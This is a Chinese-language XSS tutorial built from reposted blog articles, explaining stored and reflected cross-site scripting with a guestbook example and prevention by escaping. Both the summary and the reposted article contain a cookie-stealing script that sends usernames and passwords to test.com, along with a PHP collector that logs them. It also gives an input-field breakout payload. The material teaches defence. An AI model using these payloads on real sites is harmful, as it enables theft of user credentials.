跨站腳本功攻擊,xss,一個簡單的例子讓你知道什么是xss攻擊


跨站腳本功攻擊,xss,一個簡單的例子讓你知道什么是xss攻擊

一、總結

一句話總結:比如用戶留言功能,用戶留言中寫的是網頁可執行代碼,例如js代碼,然后這段代碼在可看到這段留言的不同一戶的顯示上就會執行。

 

1、什么是xss?

用戶 代碼 頁面

XSS攻擊全稱跨站腳本攻擊,是為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS,XSS是一種在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。

 

2、xss攻擊的基本原理?

用戶提交 代碼 運行

就拿留言頁面來說,用戶留言之后,網頁肯定會加載顯示這些留言,如果用戶的留言是可運行的代碼,比如js,那么這個網頁就可以執行這段代碼,從而訪問這個網站的所有人都會執行這段代碼。

image

 

3、xss攻擊竊取用戶賬號密碼實例(重在原理)?

當然這個示例很簡單,幾乎攻擊不到任何網站,僅僅看看其原理。我們知道很多登陸界面都有記住用戶名、密碼的功能方便用戶下次登錄,有些網站是直接用明文記錄用戶名、密碼,惡意用戶注冊賬戶登錄后使用簡單工具查看cookie結構名稱后,如果網站有xss漏洞,那么簡單的利用jsonp就可以獲取其它用戶的用戶名、密碼了。

惡意用戶會這么輸入

image

我們看看http://test.com/hack.js里藏了什么

var username=CookieHelper.getCookie('username').value; var password=CookieHelper.getCookie('password').value; var script =document.createElement('script'); script.src='http://test.com/index.php?username='+username+'&password='+password; document.body.appendChild(script);

幾句簡單的javascript,獲取cookie中的用戶名密碼,利用jsonp把向http://test.com/index.php

發送了一個get請求

http://test.com/index.php

<?php
    if(!empty($_GET['password'])){ $username=$_GET['username']; $password=$_GET['password']; try{ $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt'; $fp=fopen($path,'a'); flock($fp, LOCK_EX); fwrite($fp, "$username\t $password\r\n"); flock($fp, LOCK_UN); fclose($fp); }catch(Exception $e){ } } ?>

這樣惡意用戶就把訪問留言板的用戶的信息竊取了

 

4、xss攻擊最簡單粗糙的預防?

用戶輸入 過濾

其惡意腳本都是來自用戶的輸入。因此,可以使用過濾用戶輸入的方法對惡意腳本進行過濾。

1、獲取用戶輸入,不用.innerHTML,用innerText。

2、對用戶輸入進行過濾,如 HTMLEncode 函數實現應該至少進行 & < > " ' / 等符號轉義成 &amp &lt &gt &quot &#x27 &#x2F;

 

 

 

二、跨站腳本功攻擊,xss,一個簡單的例子讓你知道什么是xss攻擊(轉)

轉自:跨站腳本功攻擊,xss,一個簡單的例子讓你知道什么是xss攻擊 - Ideality_hunter的專欄 - CSDN博客
https://blog.csdn.net/Ideality_hunter/article/details/80621138

跨站腳本攻擊,xss,一個簡單的例子讓你知道什么是xss攻擊

https://www.cnblogs.com/dolphinX/p/3391351.html

這篇文章說的很清楚:

 

---總結

1、通過在前端輸入js代碼,即<script>代碼,點擊提交,comment字段保存到數據庫中。

2、當被提交的這段js代碼,再次出現在頁面上時(如之前是saveModify操作,將comment字段保存到數據庫中,然后執行viewModify,顯示comment信息,這段<script>代碼就顯示在了html頁面中,這段scrip代碼就被執行了),這段script代碼被執行。

3、該js代碼是第三方黑客的js

5、js會調用黑客的工程(即發起一個http url請求),將用戶名和密碼發送過去。

 

這樣,用戶名和密碼就泄露了。

 

但是有個問題,造成用戶密碼泄露的核心,是頁面上提交了某段惡意的<script>代碼,但是黑客怎么會在用戶的瀏覽器上提交這段<script>代碼呢?用戶肯定不會讓黑客使用自己的瀏覽器吧?

我想到了一種場景,讓用戶自己去提交這段惡意的<script>代碼。

場景如下:

 

1用戶已經正常登錄了上圖中的論壇系統

2黑客提供給用戶一個鏈接(可能是一個匿名郵件里的鏈接,這個鏈接被偽裝了,看上去很合法),如下圖中的參加,不參加,其實就是一個被偽裝的鏈接,點擊該鏈接就會在該論壇提交惡意script代碼(這個方式由很多種,其實就是向論壇發起一個http url請求,即將表單信息進行提交,表單中就有script代碼)。

 

3用戶點擊鏈接,惡意的<script>代碼代碼被提交,用戶中招。

就這么簡單。

====-=說一下我碰到過的一個xss跨站腳本攻擊場景,實際工程應用中碰到過的。

我有一個登錄頁面:

如果我有用戶abc,密碼123

輸入用戶名abc,密碼567,提示密碼錯誤,但是為了避免用戶再次輸入用戶名,將輸入的用戶名在頁面上保留。此時的html頁面是這樣的,f12查看:

好,場景描述完畢,xss跨站腳本開始了:

1、如果我直接在用戶名這里輸入<script>alert("1")</script>,然后輸入一個錯誤的密碼,並沒有執行script代碼,因為返回的html頁面是這樣的:

上圖中那樣的script代碼是不會執行的,因為在input的value中。只有獨立的形如下的script代碼才會執行。

2所以要想實現script代碼的執行,就需要進行拼接,將script代碼排到input標簽外。

怎么實現呢?

說白了就是自己拼接,將input標簽進行閉合,然后將script代碼綴在后邊。

通過用戶名的輸入,將input拼接成如下,即可實現script代碼的執行:

<input name="userName" class="textcss" id="userName" type="text" value="abc"/><script>alert("1")</script>"/>

為什么會執行?

可以將拼接后的input拆分看一下,就很明白了

<input name="userName" class="textcss" id="userName" type="text" value="abc"/>

<script>alert("1")</script>

"/>

因為input已經閉合了,所以script代碼會執行,至於拼接后的html文件是有語法錯誤的問題(因為最后剩下一個"/>,這個html是有錯誤的,但是不影響頁面展示和script代碼執行)就可以忽略了。

因此,只需要在用戶名那里輸入:

abc"/><script>alert("1")</script>

,然后輸入一個錯誤的密碼,點擊登錄,就會執行script代碼,彈出彈框。

 

===怎么解決呢?

網上的方式,感覺可行。

因為我之前工程中碰到過一種解決方式,是jfinal工程中實現的,在繼承JFinalConfig的子類中進行實現,和這個方式很像。

先說網上的這種方式:

https://blog.csdn.net/sdauzyh/article/details/74942737

再說jfinal方式實現:

推薦后者,即final方式解決xss攻擊。

 

 

 

 

 

三、跨站腳本攻擊XSS(轉)

轉自:跨站腳本攻擊XSS - 謙行 - 博客園
https://www.cnblogs.com/dolphinX/p/3391351.html

跨站腳本攻擊(Cross Site Script為了區別於CSS簡稱為XSS)指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執行,從而達到惡意用戶的特殊目的。

一個簡單的留言板

我們有個頁面用於允許用戶發表留言,然后在頁面底部顯示留言列表

<!DOCTYPE html>
<html>
<head>
    <?php include('/components/headerinclude.php');?></head>
    <style type="text/css">
        .comment-title{
            font-size:14px;
            margin: 6px 0px 2px 4px;
        }

        .comment-body{
            font-size: 14px;
            color:#ccc;
            font-style: italic;
            border-bottom: dashed 1px #ccc;
            margin: 4px;
        }
    </style>
    <script type="text/javascript" src="/js/cookies.js"></script>
<body>
    <form method="post" action="list.php">
        <div style="margin:20px;">
            <div style="font-size:16px;font-weight:bold;">Your Comment</div>
            <div style="padding:6px;">
                Nick Name:
                <br/>
                <input name="name" type="text" style="width:300px;"/>
            </div>
            <div style="padding:6px;">
                Comment:
                <br/>
                <textarea name="comment" style="height:100px; width:300px;"></textarea>
            </div>
            <div style="padding-left:230px;">
                <input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
            </div>
            <div style="border-bottom:solid 1px #fff;margin-top:10px;">
                <div style="font-size:16px;font-weight:bold;">Comments</div>
            </div>
            <?php 
                require('/components/comments.php'); 
                if(!empty($_POST['name'])){
                    addElement($_POST['name'],$_POST['comment']);
                }
                renderComments();
            ?>
        </div>
    </form>
</body>
</html>

 

addElement()方法用於添加新的留言,而renderComments()方法用於展留言列表,網頁看起來是這樣的

 

image

XSS

因為我們完全信任了用戶輸入,但有些別有用心的用戶會像這樣的輸入

image

這樣無論是誰訪問這個頁面的時候控制台都會輸出“Hey you are a fool fish!”,如果這只是個惡意的小玩笑,有些人做的事情就不可愛了,有些用戶會利用這個漏洞竊取用戶信息、誘騙人打開惡意網站或者下載惡意程序等,看個最簡單的例子

利用xss竊取用戶名密碼

 

當然這個示例很簡單,幾乎攻擊不到任何網站,僅僅看看其原理。我們知道很多登陸界面都有記住用戶名、密碼的功能方便用戶下次登錄,有些網站是直接用明文記錄用戶名、密碼,惡意用戶注冊賬戶登錄后使用簡單工具查看cookie結構名稱后,如果網站有xss漏洞,那么簡單的利用jsonp就可以獲取其它用戶的用戶名、密碼了。

惡意用戶會這么輸入

image

我們看看http://test.com/hack.js里藏了什么

var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);

幾句簡單的javascript,獲取cookie中的用戶名密碼,利用jsonp把向http://test.com/index.php

發送了一個get請求

http://test.com/index.php

<?php
    if(!empty($_GET['password'])){
        $username=$_GET['username'];
        $password=$_GET['password'];
        
        try{
            $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';
            $fp=fopen($path,'a');
            flock($fp, LOCK_EX);
            fwrite($fp, "$username\t $password\r\n");
            flock($fp, LOCK_UN);
            fclose($fp);
        }catch(Exception $e){

        }
    }
?>

這樣惡意用戶就把訪問留言板的用戶的信息竊取了

怎么預防

上面演示的是一個非常簡單的XSS攻擊,還有很多隱蔽的方式,但是其核心都是利用了腳本注入,因此我們解決辦法其實很簡單,不信賴用戶輸入,對特殊字符如”<”,”>”轉義,就可以從根本上防止這一問題,當然很多解決方案都對XSS做了特定限制,如上面這中做法在ASP.NET中不幸不同,微軟validateRequest對表單提交自動做了XSS驗證。但防不勝防,總有些聰明的惡意用戶會到我們的網站搞破壞,對自己站點不放心可以看看這個XSS跨站測試代碼大全試試站點是否安全。

 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM